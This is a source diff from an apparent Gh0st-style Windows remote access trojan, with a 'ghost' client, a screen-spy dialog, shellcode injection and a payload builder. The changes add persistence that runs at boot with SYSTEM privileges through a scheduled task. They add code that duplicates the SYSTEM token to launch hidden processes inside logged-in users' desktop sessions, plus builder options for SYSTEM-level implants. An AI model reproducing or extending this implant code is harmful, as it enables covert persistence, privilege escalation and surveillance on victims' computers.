@@ -398,7 +444,7 @@ int RegisterStartup(const char* startupName, const char* exeName, bool lockFile,
|
|||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin);
|
int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE, runasAdmin, bootRun);
|
||||||
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败");
|
||||||
if (lockFile)
|
if (lockFile)
|
||||||
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||||
|
|||||||
@@ -6,7 +6,8 @@ const char* GetInstallDirectory(const char* startupName);
|
|||||||
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
typedef void (*StartupLogFunc)(const char* file, int line, const char* format, ...);
|
||||||
|
|
||||||
// return > 0 means to continue running else terminate.
|
// return > 0 means to continue running else terminate.
|
||||||
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, bool runasAdmin, StartupLogFunc log);
|
// runasAdmin: 0-普通权限 1-管理员 2-STYSTEM; 必须有管理员权限才能设置1或2
|
||||||
|
int RegisterStartup(const char* startupName, const char* exeName, bool lockFile, int runasAdmin, StartupLogFunc log);
|
||||||
|
|
||||||
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
// 检测当前进程是否以SYSTEM身份运行在Session 0, 返回true表示需要启动用户Session代理
|
||||||
bool IsSystemInSession0();
|
bool IsSystemInSession0();
|
||||||
|
|||||||
176
client/session.cpp
Normal file
176
client/session.cpp
Normal file
@@ -0,0 +1,176 @@
|
|||||||
|
#include "session.h"
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <userenv.h>
|
||||||
|
#include <wtsapi32.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include "common/logger.h"
|
||||||
|
#pragma comment(lib, "Wtsapi32.lib")
|
||||||
|
#pragma comment(lib, "Userenv.lib")
|
||||||
|
#define SAFE_CLOSE_HANDLE(h) do{if((h)!=NULL&&(h)!=INVALID_HANDLE_VALUE){CloseHandle(h);(h)=NULL;}}while(0)
|
||||||
|
|
||||||
|
static DWORD g_lastIndex = 0;
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin()
|
||||||
|
{
|
||||||
|
PWTS_SESSION_INFOA sessions = NULL;
|
||||||
|
DWORD count = 0;
|
||||||
|
|
||||||
|
if (!WTSEnumerateSessionsA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
0,
|
||||||
|
1,
|
||||||
|
&sessions,
|
||||||
|
&count))
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: %d\n", GetLastError());
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (count == 0)
|
||||||
|
{
|
||||||
|
Mprintf("WTSEnumerateSessionsA Failed: count=0\n");
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD start = g_lastIndex;
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < count; i++)
|
||||||
|
{
|
||||||
|
DWORD idx = (start + i) % count;
|
||||||
|
|
||||||
|
DWORD sessionId = sessions[idx].SessionId;
|
||||||
|
|
||||||
|
// 过滤无效 session
|
||||||
|
if (sessionId == 0)
|
||||||
|
continue;
|
||||||
|
|
||||||
|
WTS_CONNECTSTATE_CLASS* state = NULL;
|
||||||
|
DWORD bytes = 0;
|
||||||
|
|
||||||
|
if (WTSQuerySessionInformationA(
|
||||||
|
WTS_CURRENT_SERVER_HANDLE,
|
||||||
|
sessionId,
|
||||||
|
WTSConnectState,
|
||||||
|
(LPSTR*)&state,
|
||||||
|
&bytes))
|
||||||
|
{
|
||||||
|
BOOL ok = (state && (
|
||||||
|
*state == WTSActive ||
|
||||||
|
*state == WTSConnected));
|
||||||
|
|
||||||
|
WTSFreeMemory(state);
|
||||||
|
|
||||||
|
if (ok)
|
||||||
|
{
|
||||||
|
g_lastIndex = (idx + 1) % count;
|
||||||
|
DWORD result = sessionId;
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
Mprintf("GetNextSessionRoundRobin Succeed: session=%d\n", result);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
WTSFreeMemory(sessions);
|
||||||
|
return 0xFFFFFFFF;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd)
|
||||||
|
{
|
||||||
|
HANDLE hToken = NULL;
|
||||||
|
HANDLE hDupToken = NULL;
|
||||||
|
// 获取当前服务进程的 SYSTEM 令牌
|
||||||
|
char buf[500];
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
|
||||||
|
sprintf(buf, "OpenProcessToken failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 复制为可用于创建进程的主令牌
|
||||||
|
if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL,
|
||||||
|
SecurityImpersonation, TokenPrimary, &hDupToken)) {
|
||||||
|
sprintf(buf, "DuplicateTokenEx failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改令牌的会话 ID 为目标用户会话
|
||||||
|
if (!SetTokenInformation(hDupToken, TokenSessionId, &sessionId, sizeof(sessionId))) {
|
||||||
|
sprintf(buf, "SetTokenInformation failed: %d\n", (int)GetLastError());
|
||||||
|
Mprintf(buf);
|
||||||
|
SAFE_CLOSE_HANDLE(hDupToken);
|
||||||
|
SAFE_CLOSE_HANDLE(hToken);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("Token duplicated");
|
||||||
|
|
||||||
|
char path[MAX_PATH];
|
||||||
|
if (!exePath)
|
||||||
|
GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||||
|
else
|
||||||
|
lstrcpyA(path, exePath);
|
||||||
|
|
||||||
|
// 获取用户令牌(用于获取环境块)
|
||||||
|
LPVOID lpEnvironment = NULL;
|
||||||
|
HANDLE hUserToken = NULL;
|
||||||
|
if (!WTSQueryUserToken(sessionId, &hUserToken)) {
|
||||||
|
Mprintf( "WTSQueryUserToken failed: %d\n", (int)GetLastError());
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用用户令牌创建环境块
|
||||||
|
if (hUserToken) {
|
||||||
|
if (!CreateEnvironmentBlock(&lpEnvironment, hUserToken, FALSE)) {
|
||||||
|
Mprintf("CreateEnvironmentBlock failed: %d\n", GetLastError());
|
||||||
|
}
|
||||||
|
CloseHandle(hUserToken);
|
||||||
|
}
|
||||||
|
|
||||||
|
STARTUPINFOA si = { 0 };
|
||||||
|
PROCESS_INFORMATION pi = { 0 };
|
||||||
|
|
||||||
|
si.cb = sizeof(si);
|
||||||
|
si.lpDesktop = (LPSTR)"winsta0\\default";
|
||||||
|
char cmdStr[300];
|
||||||
|
sprintf(cmdStr, "\"%s\" -cmd=%d", path, int(cmd));
|
||||||
|
BOOL result = CreateProcessAsUserA(
|
||||||
|
hDupToken,
|
||||||
|
NULL,
|
||||||
|
(LPSTR)cmdStr,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
FALSE,
|
||||||
|
NORMAL_PRIORITY_CLASS | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
lpEnvironment,
|
||||||
|
NULL,
|
||||||
|
&si,
|
||||||
|
&pi);
|
||||||
|
|
||||||
|
if (result)
|
||||||
|
{
|
||||||
|
Mprintf("CreateProcessAsUserA Succeed\n");
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
CloseHandle(pi.hProcess);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("CreateProcessAsUserA Failed [%d]: %s\n", GetLastError(), cmdStr);
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(hDupToken);
|
||||||
|
CloseHandle(hToken);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd)
|
||||||
|
{
|
||||||
|
DWORD sessionId = GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
if (sessionId == 0xFFFFFFFF)
|
||||||
|
return;
|
||||||
|
|
||||||
|
StartProcessInSessionA(sessionId, NULL, cmd);
|
||||||
|
}
|
||||||
7
client/session.h
Normal file
7
client/session.h
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
DWORD GetNextSessionRoundRobin();
|
||||||
|
|
||||||
|
BOOL StartProcessInSessionA(DWORD sessionId, const char* exePath, BYTE cmd);
|
||||||
|
|
||||||
|
void RunRoundRobinAgent(BYTE cmd);
|
||||||
@@ -8,6 +8,7 @@
|
|||||||
#include <common/md5.h>
|
#include <common/md5.h>
|
||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include "auto_start.h"
|
#include "auto_start.h"
|
||||||
|
#include "Common.h"
|
||||||
// A shell code loader connect to 127.0.0.1:6543.
|
// A shell code loader connect to 127.0.0.1:6543.
|
||||||
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
// Build: xxd -i TinyRun.dll > SCLoader.cpp
|
||||||
// #include "SCLoader.cpp"
|
// #include "SCLoader.cpp"
|
||||||
@@ -27,6 +28,8 @@ typedef bool (*IsStoped)();
|
|||||||
|
|
||||||
typedef BOOL (*IsExit)();
|
typedef BOOL (*IsExit)();
|
||||||
|
|
||||||
|
typedef int(*CmdRunner)(LPBYTE szBuffer, int ulLength);
|
||||||
|
|
||||||
// 停止程序运行
|
// 停止程序运行
|
||||||
StopRun stop = NULL;
|
StopRun stop = NULL;
|
||||||
|
|
||||||
@@ -60,7 +63,7 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 运行程序.
|
// 运行程序.
|
||||||
BOOL Run(const char* argv1, int argv2);
|
BOOL Run(const char* argv1, int argv2, const std::string& runCmd);
|
||||||
|
|
||||||
// Package header.
|
// Package header.
|
||||||
typedef struct PkgHeader {
|
typedef struct PkgHeader {
|
||||||
@@ -305,16 +308,19 @@ int InjectShellcode(BYTE* buf, int len) {
|
|||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||||
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||||
|
if (!runCmd) {
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemoService",
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo Service",
|
||||||
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
g_ConnectAddress.installDesc[0] ? g_ConnectAddress.installDesc : "Provide a demo service."), Log);
|
||||||
bool isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || IsSystemInSession0();
|
isService = g_ConnectAddress.iStartup == Startup_TestRunMsc || (IsSystemInSession0()&&g_ConnectAddress.iStartup != Startup_TestRunSystem);
|
||||||
|
bool lockFile = g_ConnectAddress.iStartup != Startup_TestRunMsc && g_ConnectAddress.iStartup != Startup_TestRunSystem && !IsSystemInSession0();
|
||||||
// 注册启动项
|
// 注册启动项
|
||||||
int r = RegisterStartup(
|
int r = RegisterStartup(
|
||||||
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo",
|
||||||
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
g_ConnectAddress.installName[0] ? g_ConnectAddress.installName : "ClientDemo",
|
||||||
!isService, g_ConnectAddress.runasAdmin, Logf);
|
lockFile, g_ConnectAddress.iStartup == Startup_TestRunSystem ? 2 :g_ConnectAddress.runasAdmin, Logf);
|
||||||
if (r <= 0) {
|
if (r <= 0) {
|
||||||
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
if (g_ConnectAddress.iStartup == Startup_DLL) {
|
||||||
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
const char* folder = GetInstallDirectory(g_ConnectAddress.installDir[0] ? g_ConnectAddress.installDir : "Client Demo");
|
||||||
@@ -360,6 +366,7 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
g_ConnectAddress.iStartup = Startup_MEMDLL;
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
status = 0;
|
status = 0;
|
||||||
SetConsoleCtrlHandler(&callback, TRUE);
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
@@ -376,7 +383,8 @@ int main(int argc, const char *argv[])
|
|||||||
do {
|
do {
|
||||||
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
BOOL ret = Run((argc > 1 && argv[1][0] != '-') ? // remark: demo may run with argument "-agent"
|
||||||
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
|
||||||
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));
|
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()),
|
||||||
|
(argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0 && strlen(argv[1]) > 5) ? std::string(argv[1] + 5) : "");
|
||||||
if (ret == 1) {
|
if (ret == 1) {
|
||||||
Mprintf("结束运行.\n");
|
Mprintf("结束运行.\n");
|
||||||
Sleep(1000);
|
Sleep(1000);
|
||||||
@@ -397,7 +405,7 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 传入命令行参数: IP 和 端口.
|
// 传入命令行参数: IP 和 端口.
|
||||||
BOOL Run(const char* argv1, int argv2)
|
BOOL Run(const char* argv1, int argv2, const std::string &runCmd)
|
||||||
{
|
{
|
||||||
BOOL result = FALSE;
|
BOOL result = FALSE;
|
||||||
char path[_MAX_PATH], * p = path;
|
char path[_MAX_PATH], * p = path;
|
||||||
@@ -438,7 +446,7 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
case Startup_DLL:
|
case Startup_DLL:
|
||||||
runner = new DefaultDllRunner;
|
runner = new DefaultDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_MEMDLL:
|
case Startup_MEMDLL: case Startup_TestRunSystem :
|
||||||
runner = new MemoryDllRunner;
|
runner = new MemoryDllRunner;
|
||||||
break;
|
break;
|
||||||
case Startup_InjSC:
|
case Startup_InjSC:
|
||||||
@@ -455,6 +463,8 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
stop = hDll ? StopRun(runner->GetProcAddress(hDll, "StopRun")) : NULL;
|
||||||
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
bStop = hDll ? IsStoped(runner->GetProcAddress(hDll, "IsStoped")) : NULL;
|
||||||
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
bExit = hDll ? IsExit(runner->GetProcAddress(hDll, "IsExit")) : NULL;
|
||||||
|
CmdRunner cmd = hDll ? CmdRunner(runner->GetProcAddress(hDll, "RunCommand")) : NULL;
|
||||||
|
int nCmd = runCmd.empty() ? 0 : std::atoi(runCmd.c_str());
|
||||||
if (NULL == run) {
|
if (NULL == run) {
|
||||||
if (hDll) runner->FreeLibrary(hDll);
|
if (hDll) runner->FreeLibrary(hDll);
|
||||||
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
Mprintf("加载动态链接库\"ServerDll.dll\"失败. 错误代码: %d\n", GetLastError());
|
||||||
@@ -476,6 +486,13 @@ BOOL Run(const char* argv1, int argv2)
|
|||||||
port = cfg.Get1Int("settings", "port", ';', 6543);
|
port = cfg.Get1Int("settings", "port", ';', 6543);
|
||||||
}
|
}
|
||||||
Mprintf("[server] %s:%d\n", ip, port);
|
Mprintf("[server] %s:%d\n", ip, port);
|
||||||
|
if (nCmd) {
|
||||||
|
BYTE buf[] = {nCmd};
|
||||||
|
if (cmd) nCmd = cmd(buf, 1);
|
||||||
|
result = 1;
|
||||||
|
Mprintf("Finish run command. Result: %d\n", nCmd);
|
||||||
|
break;
|
||||||
|
}
|
||||||
do {
|
do {
|
||||||
run(ip, port);
|
run(ip, port);
|
||||||
while (bStop && !bStop() && 0 == status)
|
while (bStop && !bStop() && 0 == status)
|
||||||
|
|||||||
@@ -312,6 +312,7 @@ enum {
|
|||||||
TOKEN_DRAWING_BOARD=151, // 画板
|
TOKEN_DRAWING_BOARD=151, // 画板
|
||||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||||
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||||
|
COMMAND_SCREEN_SIGNATURE = 154,
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
@@ -353,6 +354,11 @@ enum {
|
|||||||
};
|
};
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
|
struct SignatureResp {
|
||||||
|
char msg[64];
|
||||||
|
char signature[64];
|
||||||
|
};
|
||||||
|
|
||||||
struct TextReplace {
|
struct TextReplace {
|
||||||
uint8_t cmd;
|
uint8_t cmd;
|
||||||
uint8_t type;
|
uint8_t type;
|
||||||
@@ -736,6 +742,8 @@ enum TestRunType {
|
|||||||
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
Startup_InjSC, // 远程 Shell code (注入其他程序执行shell code )
|
||||||
Startup_GhostMsc, // Windows 服务
|
Startup_GhostMsc, // Windows 服务
|
||||||
Startup_TestRunMsc, // Windows 服务
|
Startup_TestRunMsc, // Windows 服务
|
||||||
|
Startup_GhostSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
|
Startup_TestRunSystem, // SYSTEM 权限运行(随开机启动)
|
||||||
};
|
};
|
||||||
|
|
||||||
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
inline int MemoryFind(const char* szBuffer, const char* Key, int iBufferSize, int iKeySize)
|
||||||
|
|||||||
@@ -30,6 +30,8 @@ enum Index {
|
|||||||
IndexLinuxGhost,
|
IndexLinuxGhost,
|
||||||
IndexMacGhost,
|
IndexMacGhost,
|
||||||
IndexAndroidGhost,
|
IndexAndroidGhost,
|
||||||
|
IndexGhostSystem,
|
||||||
|
IndexTestRunSystem,
|
||||||
OTHER_ITEM
|
OTHER_ITEM
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -493,6 +495,22 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
szBuffer = ReadResource(IDR_ANDROID_GHOST, dwFileSize, ResFileName::GHOST_ANDROID);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case IndexGhostSystem:
|
||||||
|
file = "ghost.exe";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Windows Ghost" : m_sInstallDir);
|
||||||
|
typ = CLIENT_TYPE_ONE;
|
||||||
|
startup = Startup_GhostSystem;
|
||||||
|
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86);
|
||||||
|
break;
|
||||||
|
case IndexTestRunSystem:
|
||||||
|
file = "TestRun.exe";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "Client Demo" : m_sInstallDir);
|
||||||
|
typ = CLIENT_TYPE_MEMDLL;
|
||||||
|
startup = Startup_TestRunSystem;
|
||||||
|
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize,
|
||||||
|
is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||||
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
@@ -801,6 +819,8 @@ BOOL CBuildDlg::OnInitDialog()
|
|||||||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||||||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||||||
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
||||||
|
m_ComboExe.InsertStringL(IndexGhostSystem, "ghost - SYSTEM");
|
||||||
|
m_ComboExe.InsertStringL(IndexTestRunSystem, "TestRun - SYSTEM");
|
||||||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||||||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||||||
|
|
||||||
|
|||||||
@@ -919,6 +919,15 @@ BOOL CScreenSpyDlg::OnInitDialog()
|
|||||||
m_ContextObject->Send2Client(sizeCmd, 10);
|
m_ContextObject->Send2Client(sizeCmd, 10);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
std::string signMessage(const std::string& privateKey, BYTE* msg, int len);
|
||||||
|
BYTE bToken[1 + sizeof(SignatureResp)] = { COMMAND_SCREEN_SIGNATURE };
|
||||||
|
std::string msg = ToPekingTimeAsString(0);
|
||||||
|
auto signature = signMessage("", (BYTE*)msg.c_str(), msg.length());
|
||||||
|
SignatureResp resp = { 0 };
|
||||||
|
memcpy(resp.msg, msg.data(), msg.size());
|
||||||
|
memcpy(resp.signature, signature.data(), signature.size());
|
||||||
|
memcpy(bToken + 1, &resp, sizeof(SignatureResp));
|
||||||
|
m_ContextObject->Send2Client(bToken, sizeof(bToken));
|
||||||
|
|
||||||
SendNext();
|
SendNext();
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user